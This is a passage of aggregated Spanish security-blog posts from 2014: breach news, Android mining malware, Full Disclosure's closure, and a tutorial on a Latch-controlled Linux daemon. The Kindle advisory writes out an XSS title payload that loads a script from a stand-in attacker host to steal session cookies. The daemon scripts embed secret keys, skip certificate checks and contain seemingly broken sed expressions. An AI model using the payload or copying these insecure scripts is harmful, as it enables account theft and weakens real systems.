Aplicaciones Moviles Gratis, Seguridad, Tecnologia, Android, Apple: Seguridad Informatica

Hackers un ataque filtrado

<div class="MsoNormal" style="text-align: justify;">
Hoy en día se ha vuelto una problemática
proteger la información en empresas donde se opera datos financieros o de interés
propio para los hackers. Casos en particular que han sucedido en las últimas
semanas han sido como filtración de datos de Gmail, iCloud
entre otros que se han visto afectados por ataques masivos a sus
plataformas.</div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
En cada caso previo a un ataque informático
siempre se tiene en mente perjudicar la integridad de la persona que es víctima,
sea porque el conocimiento sobre este tipo de sucesos no tiene o que por
curiosidad cayó en trampas para obtener la información por parte de los hackers
o grupos ciberhacking.</div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha8lTH5KYW6ys9ifdX0m1F_Ji47WvZgx9T6g2GICs33X_NGANjyPb4BS_HSjdHBm8bRrBJ8BvLw1uF-yVO_R572sNn1I3u48gIHbvBmFd8gTcZzD09eGygsQc__nMJHB0aF8UiLiwQmPA/s1600/Informacion_Seguridad.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha8lTH5KYW6ys9ifdX0m1F_Ji47WvZgx9T6g2GICs33X_NGANjyPb4BS_HSjdHBm8bRrBJ8BvLw1uF-yVO_R572sNn1I3u48gIHbvBmFd8gTcZzD09eGygsQc__nMJHB0aF8UiLiwQmPA/s1600/Informacion_Seguridad.jpg" width="400" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
Entonces nos hacemos esta
pregunta ¿Qué sucede cuando tu Información es comprometida por un ataque Informático?
 Siempre se debe tener en cuenta varios
factores por el cual esa información pasa un grupo externo que hace que la compañía
pierda Fiabilidad se gestione la
seguridad de informática, el equipo encargado de ello siempre hace un análisis de
la situación para cerrar el bug que se deja abierto en ese caso.</div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
Elegir un password fuerte es una
alternativa para mantener la información protegida. Pero una que se recomiendo
es siempre mantener una disciplina en proteger y entender porque es necesario
saber sobre seguridad Informática no ser un experto pero si mínimo tener la
base de poder enfrentar este tipo de temas relacionados con la protección de
datos.</div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
Con esto queremos dar a conocer
unos tips necesarios para mantener la información protegida y evitar
filtraciones por hackers:</div>
<div class="MsoNormal" style="text-align: justify;">
 </div>
<div class="MsoNormal" style="text-align: justify;">
</div>
<ol>
<li>Usuario
y Password</li>
<li>Habilitar
herramientas para este tipo de encriptación</li>
<li>Revisar
periódicamente y cambiar las contraseñas de los servicios más usados ejemplo
redes sociales, correos electrónicos, PIN móviles.</li>
<li>Evitar
la curiosidad con tipo de vídeos que se publican en las redes mas inyectar código
malicioso.</li>
</ol>

<div class="MsoNormal" style="text-align: justify;">
4 claves importantes para tener
en cuenta al momento de saber sobre la seguridad de la información.</div>

Hoy en día se ha vuelto una problemática proteger la información en empresas donde se opera datos financieros o de interés propio para los ...

Vulnerabilidad en Kindle permite obtener detalles de la cuenta de usuario

Se ha anunciado una <a href="http://b.fl7.de/2014/09/amazon-stored-xss-book-metadata.html">vulnerabilidad en el software del Kindle de Amazon</a> que podría permitir a un atacante acceder a todos los detalles de una cuenta de Amazon. 
 
<div class="separator" style="clear: both; text-align: center;">
<img height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcYFfMpeBGhvPk5kvW471xhcW8_pWWWZxnRkm900uiRpPMDjaXWZURsSYDiZWnuMYgUdpWHRdIW2hdXkAaGVX5cSzMAnMwtmFRVu4pWd56isec-d6bRHGdUjO2f_ikM9fJi0VTvKssKT7/s1600/2014-reintrot.png" style="margin-left: 1em; margin-right: 1em;" width="520" /></div>
 
<div style="text-align: justify;">
El problema reside en un cross-site scripting almacenado, la más 
peligrosa de todas las formas de este tipo de ataques, en la librería 
Kindle de Amazon, en las páginas conocidas como "Manage Your Content and Devices" y "Manage your Kindle".
 El fallo se produce al descargar un libro electrónico desde un sitio 
que no sea la propia web de Amazon, y podría permitir inyectar código 
malicioso a través de los metadatos del libro (por ejemplo el título).</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
El atacante podrá crear un libro con un título como [script src="https://www.atacante.org/script.js"][/script].</div>
<div style="text-align: justify;">
Una vez que la víctima descargue el libro y lo tenga añadido a su 
librería, el código se ejecutara en el momento en que la víctima abra la
 página web de la librería del Kindle. Como resultado, el atacante podrá
 acceder y transferir las cookies de sesión de Amazón, por lo que la 
cuenta quedará comprometida. Existe disponible una prueba de concepto 
del problema.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Lo más sorprendente es que según Benjamin Daniel Mussler, investigador 
que ha dado a conocer el problema, reportó el problema a Amazon en 
noviembre de 2013 y fue corregido poco después. Sin embargo confirma 
que, hace dos meses, al publicar una nueva versión de la aplicación web 
"Manage your Kindle" se ha reintroducido la vulnerabilidad. Según 
confirma no ha obtenido respuesta a ninguna de sus comunicaciones.</div>
 
Fuente: <a href="http://unaaldia.hispasec.com/2014/09/vulnerabilidad-en-kindle-permite.html">Hispasec</a>

Se ha anunciado una vulnerabilidad en el software del Kindle de Amazon que podría permitir a un atacante acceder a todos los detalles de un...

550 millones de identidades expuestas por robo de datos en 2013

Symantec dio a conocer su Informe sobre Amenazas a la Seguridad en 
Internet, que pone al descubierto un cambio importante en el 
comportamiento de los delincuentes cibernéticos. 
La mayoría de los ataques dirigidos en 2013 fueron hacia gobiernos y 
servicios, mientras que las industrias con el mayor riesgo de ataques 
fueron la minera y de manufactura. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyZl8H56JyihdpYgzUqpwTriT9hVzaeCP8fk-eGTQtZXShPNhOgbvQ-2Hch1aVoPRamF5zlSo2E8GfPougegkY_is2GWjzZjeb87evenAXajqOeDa72K4fOY8bSPk9Hs7QYEzjnt3p7gd/s1600/huellas-dactilaresnoticia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMyZl8H56JyihdpYgzUqpwTriT9hVzaeCP8fk-eGTQtZXShPNhOgbvQ-2Hch1aVoPRamF5zlSo2E8GfPougegkY_is2GWjzZjeb87evenAXajqOeDa72K4fOY8bSPk9Hs7QYEzjnt3p7gd/s1600/huellas-dactilaresnoticia.jpg" width="320" /></a></div>
 
 
En 2013, el número de robo de datos de datos aumentó 62%, lo que generó 
la exposición de aproximadamente 552 millones de identidades (esto más 
que toda la población de México, Brasil, Argentina, Colombia y Perú 
juntas). 
 
Quienes se desempeñan como asistentes personales y aquellos que trabajan
 en áreas como relaciones públicas fueron blanco constante de ataques 
cibernéticos, ya que los cibercriminales los tuvieron en la mira como un
 primer paso para llegar a objetivos de un perfil más alto, como 
celebridades o altos ejecutivos. 
 
Números de tarjetas de crédito no es la información más hackeada. Con el
 Internet de las Cosas y la tecnología usable el robo de identidad ha 
tomado un nuevo matiz. Según el ISTR Volumen 19 de Symantec la 
información más requerida por los ciberdelincuentes son los nombres 
reales, fechas de nacimientos y cédula de identidad, con los cuales 
pueden robar la identidad de los usuarios. Incluso de los dispositivos 
como pulseras para hacer running. 
 
Los cibercriminales también están trasladándose a lo real más que a lo 
virtual, complementando sus ataques con llamadas telefónicas para hacer 
que las víctimas abran los correos. Los principales “asuntos” de correo 
para los ataques de empresas son “factura” y “orden de pago”. 
 
Fuente: <a href="http://cnnchile.com/noticia/2014/04/08/550-millones-de-identidades-expuestas-por-robo-de-datos-en-2013" rel="nofollow" target="_blank">CNN</a> 
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Symantec dio a conocer su Informe sobre Amenazas a la Seguridad en Internet, que pone al descubierto un cambio importante en el comportami...

WakeUp Challenge, una alarma para iPhone que solo se apaga si se resuelven juegos

<div class="entry">
<div style="text-align: justify;">
Despertar no es tarea fácil, principalmente cuando
 el frío aprieta y las horas de sueño no han sido las suficientes, 
motivo por el cual las aplicaciones despertador tienen que ingeniárselas
 para garantizar que cumplen con su objetivo. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsELHC4qDqs7zDTgxcTPpKdjrgrW0Cb1_7woKxu_QCMhxP3XqYGHHsBZrc03dTFgTVaGaILQKwdPQKaXRe1FFweF0cbNi_fabx63jXYJvyQWu5joB7Nc9Y_2_ATzmkOOiYf6TbJjB1xfxU/s1600/Wake_Up.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsELHC4qDqs7zDTgxcTPpKdjrgrW0Cb1_7woKxu_QCMhxP3XqYGHHsBZrc03dTFgTVaGaILQKwdPQKaXRe1FFweF0cbNi_fabx63jXYJvyQWu5joB7Nc9Y_2_ATzmkOOiYf6TbJjB1xfxU/s1600/Wake_Up.jpg" width="400" /></a></div>
</div>
<div style="text-align: justify;">
Eso es lo que 
pretende WakeUp Challenge, una aplicación para iOS que solo deja de 
sonar cuando el usuario resuelve uno de los cuatro juegos propuestos, 
suficientemente sencillos como para no matar a nadie de impaciencia y 
suficientemente complejos como para garantizar que, después de 
finalizados, el sujeto está completamente despierto.</div>
<div style="text-align: justify;">
Nos lo presenta Victor Baro, mostrando los cuatro juegos disponibles:</div>
<div style="text-align: justify;">
<blockquote>
- Parejas: trata de emparejar todas las cartas 
- Secuencia: memoriza y repite la secuencia 
- Cálculo: ¿la ecuación es correcta o incorrecta? 
- Toques!: toca las bolas antes de que exploten</blockquote>
</div>
<div style="text-align: center;">
</div>
Está ya disponible <a href="https://itunes.apple.com/es/app/id680403481?mt=8&affId=2048933" target="_blank" title="itunes">en iTunes</a>
 por 0,89 euros, pero si aún así os parece caro, tenemos 3 códigos para 
los tres primeros comentarios que respondan a la pregunta: ¿qué usáis 
para despertar cada día? 
 
<a href="http://wwwhatsnew.com/" target="_blank">Fuente </a></div>

Despertar no es tarea fácil, principalmente cuando el frío aprieta y las horas de sueño no han sido las suficientes, motivo por el cual ...

Malware para Android explota monedas virtuales Bitcoin, Dogecoin y Litecoin

Los usuarios de teléfonos y tablets con Android que adviertan de forma 
repentina que sus dispositivos se cargan lentamente, se calientan o se 
quedan sin batería en poco tiempo deberían considerar que podrían estar 
siendo víctimas de esta nueva amenaza. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK3JIKrBVvkPkfVKnqECSlsmqVSSPjfFJoGVG9kCVRItxg3c4fThJG1P9Kc6_6R39b6Bthg-mfQsJUJutbxO-37SpQTgfy4Gr_lDXtvAULmlmQ-6jVZbpDeb-WWLCyhWpr5LCK5zHaQlmB/s1600/bitcoins.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK3JIKrBVvkPkfVKnqECSlsmqVSSPjfFJoGVG9kCVRItxg3c4fThJG1P9Kc6_6R39b6Bthg-mfQsJUJutbxO-37SpQTgfy4Gr_lDXtvAULmlmQ-6jVZbpDeb-WWLCyhWpr5LCK5zHaQlmB/s1600/bitcoins.jpg" /></a></div>
 
 
Investigadores de <a href="http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-mines-dogecoins-and-litecoins-for-bitcoin-payout/" rel="nofollow" target="_blank">Trend Micro informan</a>
 que una nueva familia de malware para Android (detectada como 
ANDROIDOS_KAGECOIN.HBT) estaba minando la capacidad de cifrado de las 
monedas virtuales o criptodivisas. Trend Micro, según sus análisis, ha 
encontrado que este malware está involucrado en la explotación de 
varias monedas digitales, incluyendo Bitcoin, Litecoin y Dogecoin. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/dogecoinfigure7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/dogecoinfigure7.png" width="320" /></a></div>
 
La situación tiene consecuencias reales para los usuarios: menor 
duración de la batería, mayor desgaste y deterioro, todo lo cual podría 
significar una vida más corta del dispositivo. 
 
Los investigadores descubrieron originalmente ANDROIDOS_KAGECOIN en 
copias pirateadas de aplicaciones populares como Football Manager 
Handheld y TuneIn Radio. Las aplicaciones fueron programadas con el 
código de una aplicación de la CPU de cifrado de monedas Android 
legítima. Este código se basa en el software conocido como cpuminer. 
 
Contenido completo en fuente original <a href="http://diarioti.com/nuevo-malware-para-moviles-android-explota-monedas-virtuales-como-bitcoin-dogecoin-y-litecoin/76548">DiarioTI</a> y <a href="http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-mines-dogecoins-and-litecoins-for-bitcoin-payout/" rel="nofollow" target="_blank">TrendMicro</a>

Los usuarios de teléfonos y tablets con Android que adviertan de forma repentina que sus dispositivos se cargan lentamente, se calientan o ...

Cierra la lista Full Disclosure

<div style="text-align: justify;">
Hoy es un día en parte triste por el anuncio de que <a href="http://lists.grok.org.uk/full-disclosure-charter.html" rel="nofollow" target="_blank">Full Disclosure</a> ha sido suspendida. </div>
<div style="text-align: justify;">
 
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5plD7XM0GCF_Wq0jQ2gEB_SB0bSSxa8G7fSy3pJcBeB8VC9IJyTnrrxIG5zGpcbJz0Pm4RRJiuDtZcymQivsqcIptCHK8XgDB8O0CX3xu7MrDXVyTOPdDV-uXKqEmNRv5_6UF8X7xcpiv/s1600/access_denied.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5plD7XM0GCF_Wq0jQ2gEB_SB0bSSxa8G7fSy3pJcBeB8VC9IJyTnrrxIG5zGpcbJz0Pm4RRJiuDtZcymQivsqcIptCHK8XgDB8O0CX3xu7MrDXVyTOPdDV-uXKqEmNRv5_6UF8X7xcpiv/s1600/access_denied.gif" width="320" /></a></div>
<div style="text-align: justify;">
 
</div>
<div style="text-align: justify;">
 
Full Disclosure ha sido una de las mejores listas de seguridad moderadas
 donde se descubrían vulnerabilidades y se debatían y divulgaban temas 
de seguridad informática. Hospedada y patrocinada por Secunia, fue 
fundada el 9 de julio de 2002 por Len Rose y era administrada por John 
Cartwright. Precisamente éste último <a href="http://seclists.org/fulldisclosure/2014/Mar/332" rel="nofollow" target="_blank">ha anunciado hoy</a> su cese del servicio. Aquí les dejo mi traducción con sus razones: 
</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
Administrivia: El Fin 
From: John Cartwright 
Date: Wed, 19 Mar 2014 10:30:15 +0000 
 
Hola, 
 
Cuando Len y yo creamos la lista Full-Disclosure allá por julio de 2002,
 sabíamos que en el camino íbamos a encontrar bastantes problemas 
legales. 
Teníamos razón. Hasta la fecha hemos tenido todo tipo de peticiones para
 borrar cosas, solicitudes para no borrar cosas, y una variedad de 
amenazas legales tanto válidas como no. Sin embargo, siempre asumí que 
lo que nos haría cambiar sería una petición de eliminación de 
información a gran escala de algún fabricante o alguna otra excepción. 
 
Nunca me imaginé que la solicitud pudiera venir de un investigador 
dentro de la 'comunidad' en sí (y utilizo esa palabra de forma poco 
precisa en tiempos modernos). Pero hoy, después de haber pasado una 
buena cantidad de tiempo tratando las quejas de un individuo en 
particular (del que no diré su nombre) me di cuenta de que ya ha 
terminado. La lista ha tenido su parte justa de trolling, flooding, 
furry porn, falsos exploits y ataques DoS en los últimos años, pero 
ninguna de estas cosas afectaron realmente la integridad de la propia 
lista. 
Sin embargo, pasar un hacha virtual a los archivos de la lista por el 
capricho de un individuo no sienta bien. Ese 'uno de los nuestros' haría
 socavar los esfuerzos de los últimos 12 años y es realmente la gota que
 colma el vaso. 
 
No estoy dispuesto a luchar esta lucha por más tiempo. Es cada vez más 
duro operar un foro abierto en el clima legal actual, y mucho más uno 
relacionado con la seguridad . No hay más honor entre los hackers. No 
existe una verdadera comunidad . Hay poco skill valioso. El juego de la 
seguridad está cada vez más regulado . Esto es toda una señal de lo que 
vendrá , y una reflexión sobre el triste estado de una industria que 
nunca debería haberse convertido en una industria. 
 
Suspendo el servicio por tiempo indefinido. Gracias por participar. 
 
Saludos, 
- John</blockquote>
</div>
Fuente: <a href="http://www.hackplayers.com/2014/03/cierra-la-lista-full-disclosure.html" rel="nofollow" target="_blank">Hack Players</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Hoy es un día en parte triste por el anuncio de que Full Disclosure ha sido suspendida. Full Disclosure ha sido una de las mejo...

Port Security en switch

<div style="text-align: justify;">
En una auditoría interna uno puede pensar que se puede conectar a 
cualquier boca de red, lo cual sería algo bastante recurrido ya que 
podríamos capturar tráfico que nos permitiera conocer, e incluso 
escalar, los recursos que componen la zona interna de la organización. Y
 esto es así, hasta que te topas con protecciones como port security dónde realizar esta acción puede desembocar en un problema y ser detectado fácilmente por el administrador de la red. </div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_WJ7EipGmwUtm_nX9Gvy2SMwzrXEPCsvumstgApiHc9GwVT3ISK2C7aF8qO4W0c-Nq9ojeBYmKKjYYSaEEkMtOJR2DocY1mqXQGbBOQWp2ysOrPDafnNDkmIMmtPvfCy_iWvJzRJUZo4h/s1600/1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_WJ7EipGmwUtm_nX9Gvy2SMwzrXEPCsvumstgApiHc9GwVT3ISK2C7aF8qO4W0c-Nq9ojeBYmKKjYYSaEEkMtOJR2DocY1mqXQGbBOQWp2ysOrPDafnNDkmIMmtPvfCy_iWvJzRJUZo4h/s1600/1.jpg" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
¿Qué es port security? Es una característica de los switches CISCO, con la que se permite tener una lista de direcciones MAC conectadas a cada puerto del switch.
 De este modo solo se permite a estas direcciones comunicarse a través 
de esa boca. Si por lo que fuera un dispositivo con otra dirección MAC 
intenta comunicarse a través de esa boca port-security deshabilita el puerto. El administrador será el encargado de atender al incidente y desbloquear el puerto. </div>
<div style="text-align: justify;">
</div>
<a href="http://www.flu-project.com/2014/03/port-security.html" rel="nofollow" target="_blank">Contenido completo en fuente original Flu-Project</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

En una auditoría interna uno puede pensar que se puede conectar a cualquier boca de red, lo cual sería algo bastante recurrido ya que pod...

Demonizando Latch para proteger archivos con dos llaves

Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys" para ilustrar esta entrada.... 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6J293fdZ2ZtZCOzBWcAEfJ8p1rlBMfOeNtPHwuqmY6PsIZlI6bXAm8h9Vefgpxkh0IGJB4gSGDCjj15jvSgspyWhyZjs9yaunTvfFpqSjFRH5miizgsJJ_Pobac3ZMuDfXDnYmyrHsM2S/s1600/latch2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="253" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6J293fdZ2ZtZCOzBWcAEfJ8p1rlBMfOeNtPHwuqmY6PsIZlI6bXAm8h9Vefgpxkh0IGJB4gSGDCjj15jvSgspyWhyZjs9yaunTvfFpqSjFRH5miizgsJJ_Pobac3ZMuDfXDnYmyrHsM2S/s1600/latch2.png" width="400" /></a></div>
 
 
Imaginemos
 que tenemos un servidor dispuesto para nuestros usuarios. Tenemos 
cierto archivo o carpeta que tiene que estar disponible para dos 
usuarios en concreto; el cual no puede ser leído o modificado sin el permiso de ambos.
 
Sería
 genial que ambos usuarios pudiesen tener el control sobre este hecho, 
como si se tratase de un cofre el cual necesita dos llaves (podrían ser 
más) para ser abierto, sin ni siquiera tener un acceso físico a la 
máquina, es decir,  que puedan decidirlo por control remoto desde su 
smartphone y así tener el control total sobre el acceso a dicho archivo o
 carpeta... 
 
Esta situación es posible si miramos las posibilidades que nos brinda <a href="https://latch.elevenpaths.com/" target="_blank">LATCH</a>
 (de paso les agradezco a 11paths el juguetico que me hace pasar unas 
horas muy entretenido) y hacemos un apañejo, o chapucilla a la espera de
 que implementen algo parecido (que seguro que lo han pensado).
 
Pues bueno vamos a ver como lo hacemos y al tiempo aprenderemos a hacer nuestros propios demonios en Linux.
<a href="https://www.blogger.com/null" name="more"></a> 
Lo
 primero sería dar dos usuarios de alta en Latch, para así disponer de 
"las llaves" para nuestro cofre (una para cada uno). Lo haremos en <a href="http://latch.elevenpaths.com/" target="_blank">latch.elevenpaths.com.</a>
 
No me entretendré en este proceso por no alargar la entrada, si queréis verlo detenidamente echar un ojo a esta otro post <a href="http://www.hackplayers.com/2014/01/securizando-openssh-mode-paranoico-2.html">crear cuenta latch</a>.
 
Una vez hecho ésto pasaremos a registrar ambas cuentas en el sistema con el siguiente <a href="http://pastebin.com/RWHWNeTy" target="_blank">script</a> , tambien tenemos descrito el proceso en la entrada anterior en la parte de <a href="http://www.hackplayers.com/2014/01/securizando-openssh-mode-paranoico-2.html">emparejar nuestra cuenta</a>. Como es obvio, lo haremos una vez por cada id de aplicación
 y su correspondiente secreto y en distintos archivos 
(latch-llave1.account y latch-llave2.account). Con ésto ya tenemos 
nuestras "2 llaves":
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kznsdHlyMiVivrgumMVXNmlofMV-hPERz4eUvBmh9SE_s5KA7rTY7wRNJACbWO-wEAxYPTzot4RbK7svg7AIZGKcR_VzdXmYH2y5uK92Q9_sWIYlpHOuXGdEYSAnzfilcjZVdSMqCE0/s1600/lasa.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kznsdHlyMiVivrgumMVXNmlofMV-hPERz4eUvBmh9SE_s5KA7rTY7wRNJACbWO-wEAxYPTzot4RbK7svg7AIZGKcR_VzdXmYH2y5uK92Q9_sWIYlpHOuXGdEYSAnzfilcjZVdSMqCE0/s1600/lasa.jpg" width="320" /></a></div>

<div class="separator" style="clear: both; text-align: center;">
</div>

<h3>
Liberando nuestro demonio</h3>

"Un
 demonio, daemon o dæmon (de sus siglas en inglés Disk And Execution 
MONitor), es un tipo especial de proceso informático no interactivo, es 
decir, que se ejecuta en segundo plano en vez de ser controlado 
directamente por el usuario. Este tipo de programas se ejecutan de forma
 continua (infinita), vale decir, que aunque se intente cerrar o matar 
el proceso, este continuará en ejecución o se reiniciará 
automáticamente. Todo esto sin intervención de terceros y sin 
dependencia de consola alguna.” (Wikipedia) 
 
En este caso vamos a utilizar un demonio sencillo en System V, pero no olvidemos que lo podemos complicar tanto como queramos...

 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#NUESTRO DEMONIO
#!/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/bin/daemonkeeper #Ruta a nuestro fichero a ejecutar
DAEMON_OPTS=''
NAME=daemonlatch #nombre de nuestro demonio
DESC=keeper_of_seven_keys
PIDFILE="/var/run/${NAME}.pid" #Donde se guarda el pid del proceso
QUIET="--quiet"
START_OPTS="--start ${QUIET} --background --make-pidfile --pidfile ${PIDFILE} --exec ${DAEMON} ${DAEMON_OPTS}"
STOP_OPTS="--stop --pidfile ${PIDFILE}"
OWNER=root #el dueño del proceso
LOGDIR=/var/log/${NAME} #donde guardaremos nuestros logs

test -x $DAEMON || exit 0

# SI NO EXISTE EL DIRECTORIO LOG, LO CREAMOS
if [ ! -d "$LOGDIR" ]; then
 mkdir -m 750 $LOGDIR
 chown $OWNER:$OWNER $LOGDIR
fi

set -e

case "$1" in
 start)
 echo -n "Starting $DESC: "
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
 stop)
 echo -n "Stopping $DESC: "
 start-stop-daemon $STOP_OPTS
 echo "$NAME."
 rm $PIDFILE
 ;;
 restart|force-reload)
 echo -n "Restarting $DESC: "
 start-stop-daemon $STOP_OPTS
 sleep 1
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
 *)
 N=/etc/init.d/$NAME
 echo "Usage: $N {start|stop|restart|force-reload}" >&2
 exit 1
 ;;
esac

exit 0
</pre>

Guardaremos esta parte del demonio en /etc/init.d/ y le cambiaremos los permisos a 700. De manera que solo sea root quien pueda leer, escribir y ejecutar el archivo. 
 
También crearemos el archivo pid en /var/run: 
#chmod 700 daemonlatch  
#touch /var/run/daemonlatch.pid 
 
Esta parte será la encargada del control; con la cual podremos parar, arrancar o re arrancar el demonio: 
/etc/init.d/nombre del demonio /start/stop/restart 
 
Ahora pasaremos a la segunda parte del demonio que llamaremos thekeeper que será la que se encargará de ver el estado de cada llave en el servidor de latch, de
 manera que si las dos llaves están activadas el archivo o carpeta se 
podrá leer, modificar,etc. según convengamos, o de lo contrario no se 
podrá: 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#!/bin/bash
cofre=/home/manuel/importante.gpg
applicationId2="571a1Wfq8jnspoxk66pm"
secretkey2="rX2eZoqoBu6P1xWWwHVJNW15ErrlVgRcEqbtARF3"
LATCH2="/home/LATCH/latch-llave2.account"
account2=`grep "^$USER:" $LATCH2 |cut -d: -f2`
logs="/var/log/daemonlatch/daemonlatch.log"
##COMPROBAMOS LLAVE2
if [ -z `echo "$account2"|cut -d: -f2` ]; then exit 0; fi
URL="/api/0.6/status/$account2"
requestSIgnature+="GET\n"
date2=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSIgnature+="$date2\n\n$URL"
signed=`echo -en "$requestSIgnature" | openssl dgst -sha1 -hmac "$secretkey2" -binary|sed -e 's|.*= $.*$|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId2 $b64signed"
date_header="X-11Paths-Date: $date2"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status2=`echo -e "$JSON" | sed -e 's|.*status":"$.*$","name.*|\1|g'`
echo $status2

##COMPROBAMOS LLAVE1

applicationId="JXM2krpxLzNxi41Ru0oe"
secretkey="SeTQQo4OzyJ02T2SB9q6qPAA8lNyWkUcA4NZdNiI"
LATCH="/home/LATCH/latch-llave1.account"
account=`grep "^$USER:" $LATCH |cut -d: -f2`
if [ -z `echo "$account"|cut -d: -f2` ]; then exit 0; fi
URL="/api/0.6/status/$account"
requestSignature+="GET\n"
date=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSignature+="$date\n\n$URL"
signed=`echo -en "$requestSignature" | openssl dgst -sha1 -hmac "$secretkey" -binary|sed -e 's|.*= $.*$|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId $b64signed"
date_header="X-11Paths-Date: $date"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status=`echo -e "$JSON" | sed -e 's|.*status":"$.*$","name.*|\1|g'`
echo $status
if [ "$status" == "on" ] && [ "$status2" == "on" ]; then
date >>$logs
echo -e "cofre abierto " >> $logs
chmod 777 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "on" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "on" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
echo 000 $cofre
else 
echo -e "Error de LATCH. Intenta de nuevo\n" >>$logs
echo 000 $cofre
fi</pre>

 
Por último haremos la tercera parte de nuestro demonio que llamaremos daemonkeeper, la colocaremos en el directorio /bin y le daremos permisos 700. 
 
Con esta parte lo que se controlará es el tiempo que pasará entre chequear el estado de las llaves, en este caso será 30 seg.. 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#!/bin/bash
date >>/var/log/daemonlatch/daemonlatch.log
echo "demonio arrancado" >> /var/log/daemonlatch/daemonlatch.log
while true
do
sleep 30
/bin/thekeeper
done</pre>

Una vez creado nuestro demonio vamos a asignarle los niveles de ejecución o Runlevels. 
 
Tenemos
 varios niveles de ejecución, y cada uno de ellos nos proporciona unas 
funcionalidades diferentes, y un entorno de trabajo distinto.  
 
La definición de cada runlevel la encontramos en el fichero /etc/inittab. En mi caso son los siguientes DEBIAN WHEEZY: 
 
# Runlevel 0 is halt. 
# Runlevel 1 is single-user. 
# Runlevels 2-5 are multi-user. 
# Runlevel 6 is reboot. 
<div>
 </div>

Para
 saber en qué nivel de ejecución estamos actualmente podemos utilizar el
 comando runlevel. Para iniciar o parar un demonio al entrar en un 
runlevel simplemente tenemos que crear un enlace simbólico en el 
